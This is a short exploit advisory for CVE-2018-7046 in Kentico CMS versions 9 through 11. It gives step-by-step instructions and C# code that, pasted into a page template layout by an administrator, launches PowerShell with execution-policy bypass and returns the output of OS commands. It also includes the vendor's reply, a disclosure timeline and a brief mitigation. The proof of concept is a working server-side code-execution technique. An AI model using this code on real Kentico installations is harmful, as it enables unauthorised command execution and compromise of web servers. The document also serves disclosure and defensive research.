# Exploit Title: Kentico CMS version 9 through 11 - Arbitrary Code Execution
# Date: 17-02-2018
# Software Link: https://www.kentico.com
# Exploit Author: Keerati T.
# CVE: CVE-2018-7046
# Category: webapps
Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online
Marketing platform that allows you to create cutting-edge websites and optimize
your digital customers experiences fully across multiple channels. Kentico
saves you time and resources so you can accomplish more. (Copy from Kentico
2. Proof of Concept
In case of no product to install you can request Hosted Trial at
https://www.kentico.com/download-demo/hosted-trial (Vendor message: Hosted
trials are virtual applications running isolated and are limited by application
pool permission set on server level so they should be safe as well.)
2.1 Log in as administrator.
2.2 Go to page.
2.3 At "Edit" on left panel, select any page under site.
2.4 Click "Template" tab locate on top right panel.
2.5 Under "Template" tab, select "Edit template properties".
2.6 Select "Layout" on popped "Template".
2.7 Fill the following c# code into text box. (modified from
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="Microsoft.VisualBasic" %>
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "powershell.exe";
psi.Arguments = "-noninteractive -executionpolicy bypass ipconfig";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
2.8 Click "Save" and see the response of issued OS commands.
3.1 Discovery and report - 14 Feb 2018.
3.2 Vendor response - 14 Feb 2018.
(This is actually intended functinality and our CMS allows authenticated users
to edit and update ascx code layout. However this user has to be authentication
and has to have permissions for these actions in our administration interface.
3.3 CVE ID was assigned - 15 Feb 2018.
3.4 Public - 17 Feb 2018.
Restricting the permission to allow only authorized user to edit ascot code